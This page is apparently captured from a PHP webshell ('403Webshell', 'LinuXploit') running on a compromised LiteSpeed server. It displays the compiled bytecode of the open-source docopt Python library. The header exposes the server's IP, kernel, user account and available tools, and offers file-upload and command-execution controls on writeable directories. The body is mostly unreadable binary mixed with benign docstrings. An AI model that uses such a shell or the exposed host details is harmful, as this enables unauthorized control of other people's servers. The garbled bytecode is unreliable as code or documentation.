403Webshell
Server IP : 192.158.238.246  /  Your IP : 52.15.53.236
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/__pycache__/docopt.cpython-37.pyc
B

�ўS�M�@svdZddlZddlZdgZdZGdd�de�ZGdd�de�ZGd	d
�d
e	�Z
Gdd�de
�ZGd
d�de
�ZGdd�de�Z
Gdd�de
�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd �d e�Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd<d.d/�Zd0d1�Zd2d3�Zd4d5�Z d6d7�Z!Gd8d9�d9e"�Z#d=d;d�Z$dS)>aPythonic command-line interface parser that will make you smile.

 * http://docopt.org
 * Repository and issue-tracker: https://github.com/docopt/docopt
 * Licensed under terms of MIT license (see LICENSE-MIT)
 * Copyright (c) 2013 Vladimir Keleshev, vladimir@keleshev.com

�N�docoptz0.6.2c@seZdZdZdS)�DocoptLanguageErrorz4Error in construction of usage-message by developer.N)�__name__�
__module__�__qualname__�__doc__�rr�7/opt/alt/python37/lib/python3.7/site-packages/docopt.pyrsrc@seZdZdZdZddd�ZdS)�
DocoptExitz;Exit in case user invoked program with incorrect arguments.�cCst�||d|j���dS)N�
)�
SystemExit�__init__�usage�strip)�self�messagerrr	rszDocoptExit.__init__N)r)rrrrrrrrrr	r
sr
c@sBeZdZdd�Zdd�Zdd�Zddd	�Zd
d�Zedd
��Z	dS)�PatterncCst|�t|�kS)N)�repr)r�otherrrr	�__eq__"szPattern.__eq__cCstt|��S)N)�hashr)rrrr	�__hash__%szPattern.__hash__cCs|��|��|S)N)�fix_identities�fix_repeating_arguments)rrrr	�fix(szPattern.fixNcCs|t|d�s|S|dkr&tt|����n|}xLt|j�D]>\}}t|d�sj||ksTt�||�|�|j|<q6|�|�q6WdS)z>Make pattern-tree tips point to same object if they are equal.�childrenN)	�hasattr�list�set�flat�	enumerater�AssertionError�indexr)rZuniq�i�crrr	r-s

zPattern.fix_identitiescs�dd�|jjD�}x�|D]��x��fdd��D�D]v}t|�tksRt|�tkr~|jr~|jdkrdg|_nt|j�tk	r~|j��|_t|�t	ks�t|�tkr0|jdkr0d|_q0WqW|S)z5Fix elements that should accumulate/increment values.cSsg|]}t|j��qSr)rr)�.0r%rrr	�
<listcomp>;sz3Pattern.fix_repeating_arguments.<locals>.<listcomp>csg|]}��|�dkr|�qS)�)�count)r&r%)�caserr	r'=sNr)
�eitherr�type�Argument�Option�argcount�valuer�split�Command)rr+�er)r*r	r9s

"zPattern.fix_repeating_argumentsc
Cs�g}|gg}�x�|�r�|�d�}dd�|D�}t|krzdd�|D�d}|�|�|��x|jD]}|�|g|�q`Wqt|kr�dd�|D�d}|�|�|��|�t|j�|�qt|kr�dd�|D�d}|�|�|��|�t|j�|�qt|k�r<dd�|D�d}|�|�|��|�t|j�|�qt	|k�r�dd�|D�d}	|�|�|	��|�t|	j�d	|�q|�|�qWtd
d�|D��S)zATransform pattern into an equivalent, with only top-level Either.rcSsg|]}t|��qSr)r,)r&r%rrr	r'Psz"Pattern.either.<locals>.<listcomp>cSsg|]}t|�tkr|�qSr)r,�Either)r&r%rrr	r'RscSsg|]}t|�tkr|�qSr)r,�Required)r&r%rrr	r'WscSsg|]}t|�tkr|�qSr)r,�Optional)r&r%rrr	r'[scSsg|]}t|�tkr|�qSr)r,�
AnyOptions)r&r%rrr	r'_scSsg|]}t|�tkr|�qSr)r,�	OneOrMore)r&r%rrr	r'cs�cSsg|]}t|��qSr)r5)r&r3rrr	r'hs)
�popr4r#r�appendr5rr6r7r8)
r�ret�groupsr�typesr+r%�required�optionalZ	oneormorerrr	r+Gs8



zPattern.either)N)
rrrrrrrr�propertyr+rrrr	r s
rc@s0eZdZd
dd�Zdd�Zdd�Zddd	�ZdS)�ChildPatternNcCs||_||_dS)N)�namer0)rrCr0rrr	rmszChildPattern.__init__cCsd|jj|j|jfS)Nz
%s(%r, %r))�	__class__rrCr0)rrrr	�__repr__qszChildPattern.__repr__cGs|rt|�|kr|gSgS)N)r,)rr>rrr	r tszChildPattern.flatcs�|dkrgn|}��|�\}}|dkr0d||fS|d|�||dd�}�fdd�|D�}t�j�ttfkr�t�j�tkr�d}nt|j�tkr�|jgn|j}|s�||_d|||gfS|dj|7_d||fSd|||gfS)NFr(csg|]}|j�jkr|�qSr)rC)r&�a)rrr	r'}sz&ChildPattern.match.<locals>.<listcomp>Tr)�single_matchr,r0�intr�str)r�left�	collected�pos�matchZleft_Z	same_name�	incrementr)rr	rMws"

zChildPattern.match)N)N)rrrrrEr rMrrrr	rBks
rBc@s$eZdZdd�Zdd�Zdd�ZdS)�
ParentPatterncGst|�|_dS)N)rr)rrrrr	r�szParentPattern.__init__cCs"d|jjd�dd�|jD��fS)Nz%s(%s)z, css|]}t|�VqdS)N)r)r&rFrrr	�	<genexpr>�sz)ParentPattern.__repr__.<locals>.<genexpr>)rDr�joinr)rrrr	rE�szParentPattern.__repr__cs,t|��kr|gSt�fdd�|jD�g�S)Ncsg|]}|j���qSr)r )r&r%)r>rr	r'�sz&ParentPattern.flat.<locals>.<listcomp>)r,�sumr)rr>r)r>r	r �szParentPattern.flatN)rrrrrEr rrrr	rO�srOc@s eZdZdd�Zedd��ZdS)r-cCs8x2t|�D]&\}}t|�tkr
|t|j|j�fSq
WdS)N)NN)r!r,r-rCr0)rrJ�n�prrr	rG�szArgument.single_matchcCs8t�d|�d}tjd|tjd�}|||r2|dnd�S)Nz(<\S*?>)rz\[default: (.*)\])�flags)�re�findall�I)�class_�sourcerCr0rrr	�parse�szArgument.parseN)rrrrG�classmethodr[rrrr	r-�sr-c@seZdZddd�Zdd�ZdS)r2FcCs||_||_dS)N)rCr0)rrCr0rrr	r�szCommand.__init__cCsDx>t|�D]2\}}t|�tkr
|j|jkr:|t|jd�fSPq
WdS)NT)NN)r!r,r-r0rCr2)rrJrSrTrrr	rG�szCommand.single_matchN)F)rrrrrGrrrr	r2�s
r2c@s>eZdZddd�Zedd��Zdd	�Zed
d��Zdd
�Z	dS)r.NrFcCsB|dkst�|||_|_|||_|_|dkr8|r8dn||_dS)N)rr(F)r"�short�longr/r0)rr]r^r/r0rrr	r�szOption.__init__cCs�d\}}}}|���d�\}}}|�dd��dd�}x4|��D](}	|	�d�rR|	}q>|	�d�rb|	}q>d}q>W|r�tjd	|tjd
�}
|
r�|
dnd}|||||�S)N)NNrFz  �,� �=z--�-r(z\[default: (.*)\])rUr)r�	partition�replacer1�
startswithrVrWrX)rYZoption_descriptionr]r^r/r0�options�_�description�s�matchedrrr	r[�s

zOption.parsecCs.x(t|�D]\}}|j|jkr
||fSq
WdS)N)NN)r!rC)rrJrSrTrrr	rG�szOption.single_matchcCs|jp
|jS)N)r^r])rrrr	rC�szOption.namecCsd|j|j|j|jfS)NzOption(%r, %r, %r, %r))r]r^r/r0)rrrr	rE�s
zOption.__repr__)NNrF)
rrrrr\r[rGrArCrErrrr	r.�s

r.c@seZdZddd�ZdS)r5NcCsR|dkrgn|}|}|}x.|jD]$}|�||�\}}}|s d||fSq Wd||fS)NFT)rrM)rrJrK�lr%rTrjrrr	rM�szRequired.match)N)rrrrMrrrr	r5�sr5c@seZdZddd�ZdS)r6NcCs<|dkrgn|}x |jD]}|�||�\}}}qWd||fS)NT)rrM)rrJrKrT�mrrr	rM�szOptional.match)N)rrrrMrrrr	r6�sr6c@seZdZdZdS)r7z*Marker/placeholder for [options] shortcut.N)rrrrrrrr	r7�sr7c@seZdZddd�ZdS)r8NcCs�t|j�dkst�|dkrgn|}|}|}d}d}d}x>|rt|jd�||�\}}}||r^dnd7}||krnP|}q8W|dkr�d||fSd||fS)Nr(TrF)�lenrr"rM)rrJrKrkr%Zl_rj�timesrrr	rM�s 
zOneOrMore.match)N)rrrrMrrrr	r8�sr8c@seZdZddd�ZdS)r4NcCsf|dkrgn|}g}x2|jD](}|�||�\}}}}|r|�|�qW|r\t|dd�d�Sd||fS)NcSst|d�S)Nr()rm)�outcomerrr	�<lambda>�zEither.match.<locals>.<lambda>)�keyF)rrMr;�min)rrJrKZoutcomesrTrjrgrorrr	rMszEither.match)N)rrrrMrrrr	r4sr4c@s$eZdZdd�Zdd�Zdd�ZdS)�TokenStreamcCs$|t|d�r|��n|7}||_dS)Nr1)rr1�error)rrZrurrr	r#szTokenStream.__init__cCst|�r|�d�SdS)Nr)rmr:)rrrr	�move'szTokenStream.movecCst|�r|dSdS)Nr)rm)rrrr	�current*szTokenStream.currentN)rrrrrvrwrrrr	rt!srtcs�|���d�\�}}��d�s"t�||kr6dkr>nndn|}�fdd�|D�}|jtkrx|gkrx�fdd�|D�}t|�dkr�|�d	�d
�dd�|D��f��n�t|�dkr�|dkr�dnd
}td�|�}|�	|�|jtkr�td�||r�|nd�}n�t|d
j
|d
j|d
j|d
j
�}|jd
k�rJ|dk	�rz|�d|j��n0|dk�rz|��dk�rr|�d|j��|��}|jtk�r�|dk	�r�|nd|_
|gS)z-long ::= '--' chars [ ( ' ' | '=' ) chars ] ;raz--rNcsg|]}|j�kr|�qSr)r^)r&�o)r^rr	r'3szparse_long.<locals>.<listcomp>cs"g|]}|jr|j���r|�qSr)r^re)r&rx)r^rr	r'5sr(z%s is not a unique prefix: %s?z, css|]}|jVqdS)N)r^)r&rxrrr	rP8szparse_long.<locals>.<genexpr>rTz%s must not have an argumentz%s requires argument)rvrcrer"rur
rmrQr.r;r]r^r/r0rw)�tokensrf�eqr0�similarr/rxr)r^r	�
parse_long.s6 



r|csb|��}|�d�r|�d�r t�|�d�}g}�x,|dk�r\d|d|dd��}�fdd�|D�}t|�dkr�|�d	�t|�f��n�t|�dkr�t�dd�}|�|�|jtkr�t�ddd
�}n�t�|dj	|dj
|dj�}d}|j
dk�r0|dk�r(|��dk�r|�d���|��}n|}d}|jtk�rP|dk	�rJ|nd
|_|�|�q2W|S)z-shorts ::= '-' ( chars )* [ [ ' ' ] chars ] ;rbz--rrr(Ncsg|]}|j�kr|�qSr)r])r&rx)r]rr	r'Wsz parse_shorts.<locals>.<listcomp>z$%s is specified ambiguously %d timesTz%s requires argument)
rvrer"�lstriprmrur.r;r
r^r/r0rw)ryrf�tokenrJ�parsedr{rxr0r)r]r	�parse_shortsOs:




r�cCsFtt�dd|�t�}t||�}|��dk	r>|�dd�|���t|�S)Nz([\[\]\(\)\|]|\.\.\.)z \1 zunexpected ending: %rr`)	rtrV�subr�
parse_exprrwrurQr5)rZrfry�resultrrr	�
parse_patternrs
r�cCs�t||�}|��dkr|St|�dkr0t|�gn|}x@|��dkrt|��t||�}|t|�dkrlt|�gn|7}q6Wt|�dkr�t|�gS|S)zexpr ::= seq ( '|' seq )* ;�|r()�	parse_seqrwrmr5rvr4)ryrf�seqr�rrr	r�{s

"r�cCsJg}x@|��dkrDt||�}|��dkr:t|�g}|��||7}qW|S)zseq ::= ( atom [ '...' ] )* ;)N�]�)r�z...)rw�
parse_atomr8rv)ryrfr��atomrrr	r��s

r�cCs�|��}g}|dkrd|��dtgdtgd�|\}}|t||��}|��|kr^|�d|��|gS|dkr||��t�gS|�d�r�|dkr�t||�S|�d�r�|d	kr�t	||�S|�d
�r�|�
d�s�|��r�t|���gSt
|���gSdS)
ziatom ::= '(' expr ')' | '[' expr ']' | 'options'
             | long | shorts | argument | command ;
    z([r�r�)�(�[zunmatched '%s'rfz--rb)rbz--�<�>N)rwrvr5r6r�rur7rer|r��endswith�isupperr-r2)ryrfr~r�Zmatching�patternrrr	r��s&

r�FcCs�g}x�|��dk	r�|��dkr0|dd�|D�S|���d�rN|t||�7}q|���d�rx|��dkrx|t||�7}q|r�|dd�|D�S|�td|����qW|S)z�Parse command-line argument vector.

    If options_first:
        argv ::= [ long | shorts ]* [ argument ]* [ '--' [ argument ]* ] ;
    else:
        argv ::= [ long | shorts | argument ]* [ '--' [ argument ]* ] ;

    Nz--cSsg|]}td|��qS)N)r-)r&�vrrr	r'�szparse_argv.<locals>.<listcomp>rbcSsg|]}td|��qS)N)r-)r&r�rrr	r'�s)rwrer|r�r;r-rv)ryrf�
options_firstrrrr	�
parse_argv�s	r�cCsNt�d|�dd�}dd�t|ddd�|ddd��D�}dd�|D�}|S)Nz
 *(<\S+?>|-\S+?)r(cSsg|]\}}||�qSrr)r&�s1�s2rrr	r'�sz"parse_defaults.<locals>.<listcomp>r9cSs g|]}|�d�rt�|��qS)rb)rer.r[)r&rirrr	r'�s)rVr1�zip)�docr1rfrrr	�parse_defaults�s(r�cCsVt�d|�}t|�dkr td��t|�dkr4td��t�dd�|dd���d��S)	Nz([Uu][Ss][Aa][Gg][Ee]:)�z&"usage:" (case-insensitive) not found.z*More than one "usage:" (case-insensitive).z\n\s*\nrr(r)rVr1rmrrQr)r�Zusage_splitrrr	�printable_usage�sr�cs8|��dd��dd��fdd��dd�D��dS)Nr(z( r`c3s"|]}|�dkrdn|VqdS)rz) | (Nr)r&ri)�purr	rP�szformal_usage.<locals>.<genexpr>z ))r1rQ)r�r)r�r	�formal_usage�sr�cCsV|r,tdd�|D��r,t|�d��t��|rRtdd�|D��rRt|�t��dS)Ncss|]}|jdko|jVqdS))z-hz--helpN)rCr0)r&rxrrr	rP�szextras.<locals>.<genexpr>rcss|]}|jdko|jVqdS)z	--versionN)rCr0)r&rxrrr	rP�s)�any�printr�sys�exit)�help�versionrfr�rrr	�extras�sr�c@seZdZdd�ZdS)�DictcCs dd�dd�t|���D��S)Nz{%s}z,
 css|]}d|VqdS)z%r: %rNr)r&r$rrr	rP�sz Dict.__repr__.<locals>.<genexpr>)rQ�sorted�items)rrrr	rE�sz
Dict.__repr__N)rrrrErrrr	r��sr�Tc
Cs�|dkrtjdd�}t|�t_t|�}tttj�|�}tt	|t�t
|�|�}t|�t
��}x,|�t�D]}t|�}	t
t|	�|�|_qhWt||||�|���|�\}
}}|
r�|gkr�tdd�|��|D��St��dS)a�Parse `argv` based on command-line interface described in `doc`.

    `docopt` creates your command-line interface based on its
    description that you pass as `doc`. Such description can contain
    --options, <positional-argument>, commands, which could be
    [optional], (required), (mutually | exclusive) or repeated...

    Parameters
    ----------
    doc : str
        Description of your command-line interface.
    argv : list of str, optional
        Argument vector to be parsed. sys.argv[1:] is used if not
        provided.
    help : bool (default: True)
        Set to False to disable automatic help on -h or --help
        options.
    version : any object
        If passed, the object will be printed if --version is in
        `argv`.
    options_first : bool (default: False)
        Set to True to require options preceed positional arguments,
        i.e. to forbid options and positional arguments intermix.

    Returns
    -------
    args : dict
        A dictionary, where keys are names of command-line elements
        such as e.g. "--verbose" and "<path>", and values are the
        parsed values of those elements.

    Example
    -------
    >>> from docopt import docopt
    >>> doc = '''
    Usage:
        my_program tcp <host> <port> [--timeout=<seconds>]
        my_program serial <port> [--baud=<n>] [--timeout=<seconds>]
        my_program (-h | --help | --version)

    Options:
        -h, --help  Show this screen and exit.
        --baud=<n>  Baudrate [default: 9600]
    '''
    >>> argv = ['tcp', '127.0.0.1', '80', '--timeout', '30']
    >>> docopt(doc, argv)
    {'--baud': '9600',
     '--help': False,
     '--timeout': '30',
     '--version': False,
     '<host>': '127.0.0.1',
     '<port>': '80',
     'serial': False,
     'tcp': True}

    See also
    --------
    * For video introduction see http://docopt.org
    * Full documentation is available in README.rst as well as online
      at https://github.com/docopt/docopt#readme

    Nr(css|]}|j|jfVqdS)N)rCr0)r&rFrrr	rPBszdocopt.<locals>.<genexpr>)r��argvr�r
rr�r�r�r�rtrrr r.r7rr�rrMr�)
r�r�r�r�r�rfr�Zpattern_optionsZaoZdoc_optionsrjrJrKrrr	r�s ?
)F)NTNF)%rr�rV�__all__�__version__�	Exceptionrr
r
�objectrrBrOr-r2r.r5r6r7r8r4rrtr|r�r�r�r�r�r�r�r�r�r��dictr�rrrrr	�<module>s>
K!(
	
!#	



	

Youez - 2016 - github.com/yon3zu
LinuXploit